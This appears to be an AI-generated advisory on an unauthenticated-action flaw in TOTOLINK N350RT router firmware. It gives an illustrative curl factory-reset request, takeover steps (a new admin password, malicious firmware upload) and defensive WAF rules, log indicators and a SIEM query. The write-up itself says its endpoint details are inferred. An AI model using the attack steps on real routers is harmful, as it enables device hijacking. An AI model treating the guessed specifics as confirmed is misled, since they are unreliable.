CVE-2026-138424 — TOTOLINK N350RT (9.3.5u.6466) — CWE-306 · CWE-287
A vulnerability has been found in TOTOLINK N350RT 9.3.5u.6466/9.3.5u.6468. Affected by this vulnerability is an unknown functionality of the file cstecgi.cgi of the component Web Management Interface. The manipulation of the argument action leads to missing authentication. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.
A vulnerability has been found in TOTOLINK N350RT 9.3.5u.6466/9.3.5u.6468. Affected by this vulnerability is an unknown functionality of the file cstecgi.cgi of the component Web Management Interface. The manipulation of the argument action leads to missing authentication. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.
🎯 What is this vulnerability?
CVE‑2026‑138424 affects the TOTOLINK N350RT router firmware 9.3.5u.6466 and 9.3.5u.6468.
The flaw resides in the Web Management Interface CGI script cstecgi.cgi.
| CWE | Description |
|---|---|
| CWE‑287 – Improper Authentication | The component accepts a request that should be gated by an authentication check, but the check is either missing or bypassed. |
| CWE‑306 – Missing Authentication for Critical Function | The specific action performed by the CGI script (identified by the action query parameter) is executed without any verification that the caller is an authenticated administrator. |
Technical root‑cause
cstecgi.cgi parses the HTTP GET/POST parameter action to decide which internal routine to invoke (e.g., reboot, factory_reset, set_wan, download_firmware). The code path that handles the action value does not verify the session cookie (sysauth) nor the HTTP Authorization header before dispatching to the privileged routine.
Consequences of the missing check:
- Unauthenticated remote attacker can invoke any of the privileged actions simply by crafting a request to the CGI endpoint with a chosen
actionvalue. - Because the router’s management interface is reachable on the LAN (and often exposed to the Internet via port‑forwarding or default‑allow rules), the attack can be performed remotely without user interaction (
AV:N,PR:N,UI:N). - The vulnerable actions have full impact on the device – they can change network configuration, reset the device, or upload arbitrary firmware, which gives the attacker complete control (
C:H,I:H,A:H).
The CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H reflects exactly this: a network‑reachable, low‑complexity, unauthenticated, non‑interactive attack that compromises the entire confidentiality, integrity, and availability of the router.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URI is inferred from the vendor’s firmware layout and is marked as illustrative where the CVE description does not disclose the precise path.
1. Discovery & Reconnaissance
| Step | Technique | Expected Outcome |
|---|---|---|
| 1.1 Identify device type | Passive network scan (Nmap) with service detection (-sV) or banner grabbing on common router ports (80/443). | Nmap reports TOTOLINK N350RT and firmware version 9.3.5u.6466 (or 9.3.5u.6468). |
| 1.2 Verify management interface exposure | Attempt to fetch / or /login.htm. Look for the HTML comment <!-- TOTOLINK N350RT --> or the JavaScript variable firmwareVersion = "9.3.5u.6466" . | Confirms that the web UI is reachable from the attacker’s network (LAN or Internet). |
| 1.3 Fingerprint vulnerable CGI | Request a known CGI endpoint that exists on all TOTOLINK firmware, e.g. http://<router>/cgi-bin/cstecgi.cgi?test=1. A 200 response with XML/JSON indicates the script is present. | Presence of cstecgi.cgi confirms the attack surface. |
2. Exploitation
NOTE: The exact URI (/cgi-bin/cstecgi.cgi) and parameter name (action) are derived from the CVE description. If the real firmware uses a different path, the same logic applies.
2.1 Choose a privileged action
The most impactful action is factory_reset (or reboot). For demonstration we use factory_reset, which wipes the configuration and forces the device to restart, after which the attacker can re‑configure it with a malicious admin password.
2.2 Craft the request
# Illustrative PoC – unauthenticated factory reset
curl -sk -X GET "http://192.0.2.45/cgi-bin/cstecgi.cgi?action=factory_reset"-s – silent mode (no progress meter) -k – ignore self‑signed TLS (if HTTPS is used) 2.3 Verify success
A successful reset typically returns a short XML payload:
<?xml version="1.0" encoding="UTF-8"?>
<response>
<status>OK</status>
<msg>Factory reset initiated</msg>
</response>If the device returns HTTP 200 with the above body, the exploit succeeded.
3. Post‑Exploitation
| Phase | Action | Result |
|---|---|---|
| 3.1 Re‑configure the device | After the router reboots (≈30 s), the attacker accesses the web UI again (still unauthenticated) and posts a new admin password via the same CGI endpoint, e.g. action=set_admin_pwd&pwd=AttackerPass123. | The attacker now owns the admin credentials. |
| 3.2 Persistent foothold | Upload a malicious firmware image using action=upload_firmware&file=malware.bin (the same missing‑auth bug allows arbitrary firmware upload). | The router runs attacker‑controlled code, enabling full network persistence, traffic interception, or botnet enrollment. |
| 3.3 Lateral movement | Use the compromised router as a pivot to scan internal hosts (/cgi-bin/cstecgi.cgi?action=ping&target=10.0.0.0/24) or to establish a reverse shell via the firmware’s telnet service (if enabled). | Expands the breach beyond the router itself. |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | All traffic traversing the router can be intercepted, decrypted (if the attacker installs a custom firmware with TLS‑inspection), or logged. | Exposure of corporate VPN credentials, internal web applications, VoIP calls, etc. |
| Integrity (I:H) | The attacker can modify routing tables, DNS settings, or inject malicious payloads into HTTP responses. | Man‑in‑the‑middle attacks, credential harvesting, ransomware distribution. |
| Availability (A:H) | The device can be rebooted, factory‑reset, or flooded with malformed packets, causing a total loss of connectivity. | Denial‑of‑service for the entire site or branch office; loss of remote management. |
Because the router often serves as the gateway for an entire LAN, the compromise can affect every host behind it. In ISP‑provided deployments, the same vulnerability can be leveraged to affect thousands of customers simultaneously.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected firmware | Fixed in (vendor‑announced) |
|---|---|
| 9.3.5u.6466 | 9.3.5u.6470 (or later) – introduces proper session validation before processing action. |
| 9.3.5u.6468 | 9.3.5u.6470 (or later). |
Action: Immediately upgrade all TOTOLINK N350RT devices to firmware 9.3.5u.6470 or any later release that contains the authentication fix. Verify the firmware signature before flashing.
2. Immediate Workarounds
| Mitigation | How to apply |
|---|---|
| Restrict management interface to trusted networks | On the router (or upstream firewall), create an ACL that allows HTTP/HTTPS to the management IP only from the LAN subnet (e.g., 192.168.0.0/24). Block inbound connections from the Internet (0.0.0.0/0). |
| Disable the CGI endpoint (if not needed) | Edit /etc/config/uhttpd (or the equivalent configuration file) and comment out the line that maps /cgi-bin/cstecgi.cgi. Restart the web server (/etc/init.d/uhttpd restart). |
| Enforce strong authentication on the UI | Enable HTTP Digest or Basic authentication at the reverse‑proxy level (e.g., Nginx in front of the router) and require a client certificate. |
| ModSecurity / WAF rule (illustrative) | Deploy a rule that blocks any request to cstecgi.cgi lacking a valid sysauth cookie or Authorization header. Example (ModSecurity 2.x syntax):
SecRule REQUEST_URI "@beginsWith /cgi-bin/cstecgi.cgi" \
"id:2026001,phase:2,deny,log,status:403,\
chain"
SecRule &REQUEST_HEADERS:Cookie "!@contains sysauth=" "t:none"The rule is illustrative; adjust the cookie name if the firmware uses a different token.
3. Detection – Log Patterns & IoCs
| Indicator | Example Log Entry (nginx/Apache style) |
|---|---|
Unauthenticated access to cstecgi.cgi with privileged action | 192.0.2.101 - - [30/Nov/2026:14:22:07 +0000] "GET /cgi-bin/cstecgi.cgi?action=factory_reset HTTP/1.1" 200 124 "-" "-" |
Repeated action calls in a short window (possible brute‑force) | ... "GET /cgi-bin/cstecgi.cgi?action=download_firmware HTTP/1.1" 200 ... (multiple lines within <10 s) |
| Absence of session cookie | Cookie: "" or no Cookie header in the request line. |
| Outbound connections to unknown IP after reset (malicious firmware contacting C2) | Jun 01 12:45:33 router telnetd[1234]: connection from 203.0.113.45 |
SIEM query (generic):
SELECT *
FROM web_logs
WHERE uri_path LIKE '/cgi-bin/cstecgi.cgi%'
AND (query_string LIKE '%action=factory_reset%'
OR query_string LIKE '%action=upload_firmware%')
AND NOT (cookie LIKE '%sysauth=%' OR auth_header IS NOT NULL);Alert on any match – especially from external IP ranges.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query